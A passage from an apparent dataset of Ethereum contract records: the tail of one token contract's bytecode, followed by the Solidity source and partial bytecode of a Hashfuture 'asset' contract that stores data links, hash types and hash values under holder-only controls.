b5061049a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b87565b6040518082815260200191505060405180910390f35b3480156104bc57600080fd5b506104c5610bcf565b604051808215151515815260200191505060405180910390f35b3480156104eb57600080fd5b506104f4610c97565b005b34801561050257600080fd5b5061050b610d58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055957600080fd5b50610562610d7e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a2578082015181840152602081019050610587565b50505050905090810190601f1680156105cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105e957600080fd5b50610628600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1c565b604051808215151515815260200191505060405180910390f35b34801561064e57600080fd5b5061068d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e4c565b604051808215151515815260200191505060405180910390f35b3480156106b357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7c565b6040518082815260200191505060405180910390f35b34801561072a57600080fd5b5061075f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f03565b005b600360159054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561080a5780601f106107df5761010080835404028352916020019161080a565b820191906000526020600020905b8154815290600101906020018083116107ed57829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561083057600080fd5b61083a838361105b565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561086a57600080fd5b61087584848461114d565b90509392505050565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ed57600080fd5b600360149054906101000a900460ff16151561090857600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109af57600080fd5b600360159054906101000a900460ff161515156109cb57600080fd5b6109e08260015461150790919063ffffffff16565b600181905550610a37826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610b413382611523565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b7557600080fd5b610b7f83836116d6565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2d57600080fd5b600360159054906101000a900460ff16151515610c4957600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf357600080fd5b600360149054906101000a900460ff16151515610d0f57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e145780601f10610de957610100808354040283529160200191610e14565b820191906000526020600020905b815481529060010190602001808311610df757829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610e3a57600080fd5b610e448383611967565b905092915050565b6000600360149054906101000a900460ff16151515610e6a57600080fd5b610e748383611b86565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f9b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561118a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111d757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561126257600080fd5b6112b3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611346826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561151a57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561157057600080fd5b6115c1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161881600154611d8290919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117e7576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187b565b6117fa8382611d8290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119a457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119f157600080fd5b611a42826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ad5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611c1782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611d9057fe5b8183039050929150505600a165627a7a723058202300b897ff948a527700b238399045895072d582485fff4d80da8c5c0c33bbc90029
|
{"success": true, "error": null, "results": {}}
| 3,768 |
0x59f0f78a802d2f7b767b97840395c99e5828c140
|
/**
* Copyright (C) 2017-2018 Hashfuture Inc. All rights reserved.
*/
pragma solidity ^0.4.22;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
}
contract owned {
address public holder;
constructor() public {
holder = msg.sender;
}
modifier onlyHolder {
require(msg.sender == holder, "This func only can be calle by holder");
_;
}
}
contract asset is owned {
using strings for *;
/*Asset Struct*/
struct data {
//link URL of the original information for storing data
// null means undisclosed
string link;
//The encryption method of the original data, such as SHA-256
string encryptionType;
//Hash value
string hashValue;
}
data[] dataArray;
uint dataNum;
//The validity of the contract
bool public isValid;
//The init status
bool public isInit;
//The tradeable status of asset
bool public isTradeable;
uint public price;
//Some notes
string public remark1;
//Other notes, holder can be written
//Reservations for validation functions
string public remark2;
/** constructor */
constructor() public {
isValid = true;
isInit = false;
isTradeable = false;
price = 0;
dataNum = 0;
}
/**
* Initialize a new asset
* @param dataNumber The number of data array
* @param linkSet The set of URL of the original information for storing data, if null means undisclosed
* needle is " "
* @param encryptionTypeSet The set of encryption method of the original data, such as SHA-256
* needle is " "
* @param hashValueSet The set of hashvalue
* needle is " "
*/
function initAsset(
uint dataNumber,
string linkSet,
string encryptionTypeSet,
string hashValueSet) public onlyHolder {
// split string to array
var links = linkSet.toSlice();
var encryptionTypes = encryptionTypeSet.toSlice();
var hashValues = hashValueSet.toSlice();
var delim = " ".toSlice();
dataNum = dataNumber;
// after init, the initAsset function cannot be called
require(isInit == false, "The contract has been initialized");
//check data
require(dataNumber >= 1, "The dataNumber should bigger than 1");
require(dataNumber - 1 == links.count(delim), "The uumber of linkSet error");
require(dataNumber - 1 == encryptionTypes.count(delim), "The uumber of encryptionTypeSet error");
require(dataNumber - 1 == hashValues.count(delim), "The uumber of hashValues error");
isInit = true;
var empty = "".toSlice();
for (uint i = 0; i < dataNumber; i++) {
var link = links.split(delim);
var encryptionType = encryptionTypes.split(delim);
var hashValue = hashValues.split(delim);
//require data not null
// link can be empty
require(!encryptionType.empty(), "The encryptionTypeSet data error");
require(!hashValue.empty(), "The hashValues data error");
dataArray.push(
data(link.toString(), encryptionType.toString(), hashValue.toString())
);
}
}
/**
* Get base asset info
*/
function getAssetBaseInfo() public view returns (uint _price,
bool _isTradeable,
uint _dataNum,
string _remark1,
string _remark2) {
require(isValid == true, "contract is invaild");
_price = price;
_isTradeable = isTradeable;
_dataNum = dataNum;
_remark1 = remark1;
_remark2 = remark2;
}
/**
* Get data info by index
* @param index index of dataArray
*/
function getDataByIndex(uint index) public view returns (string link, string encryptionType, string hashValue) {
require(isValid == true, "contract is invaild");
require(index >= 0, "The idx smaller than 0");
require(index < dataNum, "The idx bigger than dataNum");
link = dataArray[index].link;
encryptionType = dataArray[index].encryptionType;
hashValue = dataArray[index].hashValue;
}
/**
* set the price of asset
* @param newPrice price of asset
* Only can be called by holder
*/
function setPrice(uint newPrice) public onlyHolder {
require(isValid == true, "contract is invaild");
price = newPrice;
}
/**
* set the tradeable status of asset
* @param status status of isTradeable
* Only can be called by holder
*/
function setTradeable(bool status) public onlyHolder {
require(isValid == true, "contract is invaild");
isTradeable = status;
}
/**
* set the remark1
* @param content new content of remark1
* Only can be called by holder
*/
function setRemark1(string content) public onlyHolder {
require(isValid == true, "contract is invaild");
remark1 = content;
}
/**
* set the remark2
* @param content new content of remark2
* Only can be called by holder
*/
function setRemark2(string content) public onlyHolder {
require(isValid == true, "contract is invaild");
remark2 = content;
}
/**
* Modify the link of the indexth data to be url
* @param index index of assetInfo
* @param url new link
* Only can be called by holder
*/
function setDataLink(uint index, string url) public onlyHolder {
require(isValid == true, "contract is invaild");
require(index >= 0, "The index smaller than 0");
require(index < dataNum, "The index bigger than dataNum");
dataArray[index].link = url;
}
/**
* cancel contract
* Only can be called by holder
*/
function cancelContract() public onlyHolder {
isValid = false;
}
/**
* Get the number of assetInfo
*/
function getDataNum() public view returns (uint num) {
num = dataNum;
}
/**
* Transfer holder
*/
function transferOwnership(address newHolder, bool status) public onlyHolder {
holder = newHolder;
isTradeable = status;
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063145a0adc146101015780631b4c84d2146101745780632b68bb2d146101a3578063321489d4146101ba5780634105e02f1461033857806350e26c23146103c8578063761c3688146104dd5780637f002ffe1461056d57806389231bcc1461059c57806391b7f5ed146105c757806395949823146105f4578063a035b1fe1461065d578063b145a5b814610688578063b242e534146106b7578063bb5d40eb14610706578063cf951c9f14610735578063e534155d14610834578063ea7a01421461088b575b600080fd5b34801561010d57600080fd5b5061017260048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506108f4565b005b34801561018057600080fd5b50610189610b94565b604051808215151515815260200191505060405180910390f35b3480156101af57600080fd5b506101b8610ba7565b005b3480156101c657600080fd5b506101e560048036038101908080359060200190929190505050610cae565b60405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b8381101561022d578082015181840152602081019050610212565b50505050905090810190601f16801561025a5780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b83811015610293578082015181840152602081019050610278565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b838110156102f95780820151818401526020810190506102de565b50505050905090810190601f1680156103265780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561034457600080fd5b5061034d611068565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103dd611106565b60405180868152602001851515151581526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561043757808201518184015260208101905061041c565b50505050905090810190601f1680156104645780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561049d578082015181840152602081019050610482565b50505050905090810190601f1680156104ca5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3480156104e957600080fd5b506104f26112f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610532578082015181840152602081019050610517565b50505050905090810190601f16801561055f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057957600080fd5b5061059a600480360381019080803515159060200190929190505050611394565b005b3480156105a857600080fd5b506105b1611526565b6040518082815260200191505060405180910390f35b3480156105d357600080fd5b506105f260048036038101908080359060200190929190505050611530565b005b34801561060057600080fd5b5061065b600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506116af565b005b34801561066957600080fd5b5061067261183e565b6040518082815260200191505060405180910390f35b34801561069457600080fd5b5061069d611844565b604051808215151515815260200191505060405180910390f35b3480156106c357600080fd5b50610704600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611857565b005b34801561071257600080fd5b5061071b61199f565b604051808215151515815260200191505060405180910390f35b34801561074157600080fd5b5061083260048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506119b2565b005b34801561084057600080fd5b506108496120b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089757600080fd5b506108f2600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506120da565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515610a69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b60008210151515610ae2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54686520696e64657820736d616c6c6572207468616e2030000000000000000081525060200191505060405180910390fd5b60025482101515610b5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f54686520696e64657820626967676572207468616e20646174614e756d00000081525060200191505060405180910390fd5b80600183815481101515610b6b57fe5b90600052602060002090600302016000019080519060200190610b8f929190612569565b505050565b600360029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550565b606080606060011515600360009054906101000a900460ff161515141515610d3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b60008410151515610db7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5468652069647820736d616c6c6572207468616e20300000000000000000000081525060200191505060405180910390fd5b60025484101515610e30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5468652069647820626967676572207468616e20646174614e756d000000000081525060200191505060405180910390fd5b600184815481101515610e3f57fe5b90600052602060002090600302016000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ee45780601f10610eb957610100808354040283529160200191610ee4565b820191906000526020600020905b815481529060010190602001808311610ec757829003601f168201915b50505050509250600184815481101515610efa57fe5b90600052602060002090600302016001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9f5780601f10610f7457610100808354040283529160200191610f9f565b820191906000526020600020905b815481529060010190602001808311610f8257829003601f168201915b50505050509150600184815481101515610fb557fe5b90600052602060002090600302016002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561105a5780601f1061102f5761010080835404028352916020019161105a565b820191906000526020600020905b81548152906001019060200180831161103d57829003601f168201915b505050505090509193909250565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110fe5780601f106110d3576101008083540402835291602001916110fe565b820191906000526020600020905b8154815290600101906020018083116110e157829003601f168201915b505050505081565b600080600060608060011515600360009054906101000a900460ff161515141515611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b6004549450600360029054906101000a900460ff169350600254925060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561124b5780601f106112205761010080835404028352916020019161124b565b820191906000526020600020905b81548152906001019060200180831161122e57829003601f168201915b5050505050915060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e85780601f106112bd576101008083540402835291602001916112e8565b820191906000526020600020905b8154815290600101906020018083116112cb57829003601f168201915b505050505090509091929394565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561138c5780601f106113615761010080835404028352916020019161138c565b820191906000526020600020905b81548152906001019060200180831161136f57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515611509576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b80600360026101000a81548160ff02191690831515021790555050565b6000600254905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff1615151415156116a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611799576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff161515141515611824576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b806006908051906020019061183a929190612569565b5050565b60045481565b600360019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611941576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c646572000000000000000000000000000000000000000000000000000000